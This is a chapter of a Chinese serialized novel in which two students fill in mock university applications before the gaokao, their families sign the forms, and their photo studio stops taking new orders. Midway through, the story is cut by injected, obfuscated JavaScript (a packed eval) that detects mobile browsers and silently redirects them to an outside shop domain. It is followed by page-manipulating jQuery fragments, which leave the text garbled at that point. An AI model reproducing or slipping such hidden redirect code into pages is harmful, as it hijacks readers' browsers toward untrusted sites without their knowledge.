高考前第十六天，学校发下模拟志愿表。
李老师把厚厚一摞纸放到讲台上，先没往下传。
“这不是正式志愿，但也别拿来开玩笑。每个人按最近几次成绩、想学的专业和家庭情况认真填，周一交回来，老师再单独谈。”
陈斌在后排问：“能填清华吗？”
“可以。”李老师说，“老师谈话时顺便替你联系医院，看有没有治白日梦的科室。”
教室里笑成一片。
志愿表传下来，纸比平时的练习卷硬一些。第一栏是学校，第二栏是专业，后面还有是否服从调剂、家庭意见和本人签名。
周念安拿到表，没有立刻写。
梁潮生从后面探过头：“第一格还要想？”
“要查专业。”
“你不是一直想读财经？”
“财经也分很多。”
会计、统计、财政、工业经济。
这些名字印在招生资料上，看起来都差不多，真正学的东西却不一样。周念安把资料翻了两遍，最终在第一志愿那栏写下：
省财经学院，会计学。
笔尖落下去很稳。
梁潮生坐在后面，看见“省”字时没什么反应，看到学校名称后，却把手里的笔转慢了一圈。
“省城。”
“嗯。”
“坐火车要多久？”
“快车五个多小时，慢车七个小时。”
“你连车都查了？”
“招生资料后面有地址。”
梁潮生把那张资料拿过去，找到学校所在地，又在地图册上翻了半天。省城离旧巷不算天南地北，可画在地图上，也隔着一段不短的铁路线。
“第一志愿就填这么远。”他说。
周念安抬头：“省内。”
“我知道。”
“又不是出国。”
“我也没说不让你去。”
话说出口，梁潮生自己先顿了一下。
“让”这个字不对。
周念安显然也听见了，却没跟他计较，只低头继续填第二志愿。
“你准备填哪里？”她问。
梁潮生的表还是空的。
“看分数。”
“模拟志愿就是让你按现在的分数估。”
“我现在的分数估不准。”
“那按想学什么填。”
梁潮生扫了一眼招生资料。
机械、电子、无线电技术、企业管理。每一个词都能跟他沾上一点边，又没有哪个像红叶照相馆那样，已经实实在在摆在眼前。
他拿笔在第一栏写下：
省电子工业学校，无线电技术。
周念安回头看他。
“也是省城。”
“许你去，不许我去？”
“我没说。”
“那你看什么？”
“看你的字有没有出格。”
梁潮生低头检查。
“这次没有。”
第二志愿，他填了市里的机械工业学校。第三栏空着，服从调剂那一项也没有打钩。
周念安看了一遍。
“为什么不服从？”
“我想学的就这两样。把我调去不认识的专业，读几年也未必有用。”
“可能会影响录取。”
“知道。”
他答得很轻，却没改。
放学后，红叶没有立刻开门。
门上新贴了一张告示：
高考前暂停新接婚礼、团体照及复杂旧照修复。已预约业务照常，取片请于下午五点至七点。
梁潮平看完，觉得损失惨重。
“这半个月少挣多少钱？”
周念安正在统计未交付订单：“少挣的不一定是损失。接了做不完，才是。”
“可店不开，客人去别人家，以后不回来了怎么办？”
梁潮生把一摞磁带放进柜子。
“能因为半个月不回来的人，本来就留不住。等考完再说。”
他说得轻松，关上柜门以后却又回头看了眼门外。
红叶最近刚有些热闹。
墙上挂着毕业照，柜台上摆着双卡录音机，预约本终于不再一页页空着。现在他们主动把门合上一半，总让人觉得刚刚抓住的东西又松了手。
韩师傅看出他的心思。
“生意不是天天开门才叫生意。”他说，“什么时候该接，什么时候该停，也得自己知道。”
梁潮生坐回桌边，翻开英语词汇表。
“您现在说什么都能绕到考试上。”
“因为你不看书的时候太显眼。”
红叶暂停新单后，晚上的确安静了不少。
周念安和梁潮生各占柜台一头，中间放着相机、账本和一只保温壶。韩师傅整理暗房，偶尔从里头扔出一句问题；梁潮平在旁边写作业，十分钟问一次几点休息。
八点半，周念安收好试卷，拿出模拟志愿表。
“家庭意见还没签。”
梁潮生问：“你家会同意吗？”
“会。”
她答得很快。
可真正把表带回家时，周家饭桌还是安静了一会儿。
赵桂兰先问：“省城一个月生活费得多少？”
周念安报了个大概数字。
周建国问：“会计学以后做什么？”
“企业、银行、财务部门都可以。”
“能分回来吗？”
“不一定。”
周建国的手停在碗边。
这句“不一定”比省城更具体。
女儿考出去，毕业以后可能不回旧巷，不进厂，也不会继续住在这间挤着三姐妹的屋里。她的人生不再是从家门到学校、再从学校到红叶那么短的一段路。
以前周建国怕她走得太远，曾替她改过一次志愿。
如今新的志愿表摆在面前，他盯着第一栏看了很久，最终只问：“学校是你自己查的？”
“嗯。”
“专业也是？”
“嗯。”
他点点头，把表推回去。
“那就写。”
赵桂兰看了丈夫一眼，又问：“钱呢？”
周念梅立刻说：“我每个月拿一点。”
周念秋也说：“我也拿，少买两件衣服的事。”
“你先少买一条丝巾再说。”周念梅拆她的台。
“丝巾是工作需要，红叶拍照要搭衣服。”
“你上个月买了四条。”
“颜色不一样。”
眼看两个人又要吵起来，周念安把笔放到父亲面前。
“只是模拟志愿。”
“模拟也得当真填。”
周建国拿起笔，却没有立刻签名。
他把表翻到背面，又翻回来，像是确认没有藏着第二张需要家长决定的东西。最后在家庭意见里写：
尊重本人选择。
六个字。
和梁振山写在招工意向表上的那句很像。
字却比从前那张被改过的志愿表更重。
周念安看着父亲签完名字，没有说谢谢，也没有提旧事。周建国同样没有解释，只把钢笔帽扣好。
“真考上了再算钱。”他说，“现在先把分考够。”
赵桂兰嫌这句话不吉利：“什么叫真考上？咱念安当然考得上。”
周念秋马上接：“到时候我送她去省城，顺便看看那边百货商店。”
周念梅说：“你是送人还是进货？”
饭桌又吵起来。
周念安把表收进文件袋，嘴角一直带着一点很浅的笑。
第二天，她把签好的志愿表带到红叶。
梁潮生比她早到，正坐在门口台阶上背书。看见她过来，他先伸手。
“给我看看。”
“看什么？”
“第一志愿改没改。”
“为什么要改？”
“可能你爸觉得太远。”
周念安把表递给他。
梁潮生一眼看见家庭意见栏。
尊重本人选择。
他看了几秒，把纸还回去。
“挺好。”
“你的呢？”
“还没签。”
“梁叔不同意？”
“不是。”
梁潮生从书包里拿出自己的模拟志愿。梁振山已经签了字，写的也是同一句：
由本人决定。
只是表格右下角多出一行小字，是梁振山另外加的：
报考学校与专业情况已了解。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17792919|208021||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>“他昨晚拿着招生简章问了半小时。”梁潮生说，“学什么，毕业去哪儿，宿舍几个人，连食堂一个月吃多少钱都问。”
“你回答出来了？”
“前面能。食堂不知道。”
“所以他让你再查？”
“他说不知道还敢填。”
梁潮生语气嫌烦，折表时却很小心，没有把父亲签名的位置压进折痕里。
两张模拟志愿并排放在柜台上。
第一栏都是省城。
周念安是财经学院。
梁潮生是电子工业学校。
看起来像两个人已经把九月安排得明明白白，仿佛只要高考结束，他们便会前后脚坐上同一趟火车。
可真正的结果还没有来。
梁潮生的分数够不够，红叶最后由谁接，韩师傅离开以后店能不能撑住，谁都不知道。
他看着两张表，忽然问：“要是我们都考上呢？”
“就去报到。”
“红叶呢？”
“提前安排。”
“又安排。”
“你不是已经学会交接了？”
“六周和几年不一样。”
周念安把表装回文件袋。
“那也不能为了红叶故意少考几分。”
“谁会故意少考？”
“你。”
“我在你心里到底是什么人？”
“会把不想做说成做不到的人。”
梁潮生被堵得半天没说出话。
过了一会儿，他低头笑了。
“行。我先尽量考。”
“不是尽量。”
“那是什么？”
“把会的都做对。”
又是她一贯的说法。
不保证奇迹，也不拿一句“肯定能考上”哄人。先把会的做对，把名字写清楚，把能争的分拿到。剩下的，等成绩出来再说。
当晚，红叶只接待了两名取片的客人。
七点以后，韩师傅把营业牌翻过去，亲自锁了门。
“从明天开始，晚上不开店。”他说，“你们去学校上自习。暗房这边我自己收尾。”
梁潮生问：“您不是还要收拾行李？”
“几件衣服有什么好收拾的。”
“那剩下的订单呢？”
“都做完了。”
韩师傅从柜台下拿出最后一只纸袋。
里面是秦师傅与旧校门的第三张放大照片，学校档案室那张前两天装框时发现玻璃有裂纹，重新换过。
纸袋交出去后，红叶高考前的订单彻底清空。
预约本停在六月二十一日。
后面一整页都是空白。
韩师傅在空白页上写了一行：
六月二十二日起，暂停接单。七月十日后，由新负责人续记。
“新负责人是谁？”梁潮平问。
韩师傅盖上笔帽。
“谁来开门，就是谁。”
他说完，把账本推到梁潮生和周念安中间。
谁都没有立刻接。
最后，周念安先把它合上，放进柜台抽屉。
梁潮生落锁。
一大一小两把钥匙仍旧分在他们手里。
走出红叶时，天还没有完全黑。旧巷口的路灯刚亮，远处学校传来晚自习预备铃。
梁潮生推着自行车，走了几步，忽然问：“周念安，省城真有那么好吗？”
“不知道。”
“那你还把它填第一格？”
“因为我想去看看。”
“看完呢？”
“看完再决定留不留。”
周念安骑上车，蓝发带被晚风吹到肩后。
“人不能因为不知道外面好不好，就永远不出去。”
她先骑出一段，又停下来回头。
“你走不走？”
梁潮生站在红叶门口，手里还捏着那把黄铜钥匙。
他回头看了一眼已经熄灯的橱窗，把钥匙放进口袋，跨上自行车。
“走。”
两辆车一前一后出了旧巷。
模拟志愿表上，他们都把第一格写在了旧巷以外。
可这天晚上，他们赶去的地方仍旧是那间熟悉的教室。
距离高考，还有十五天。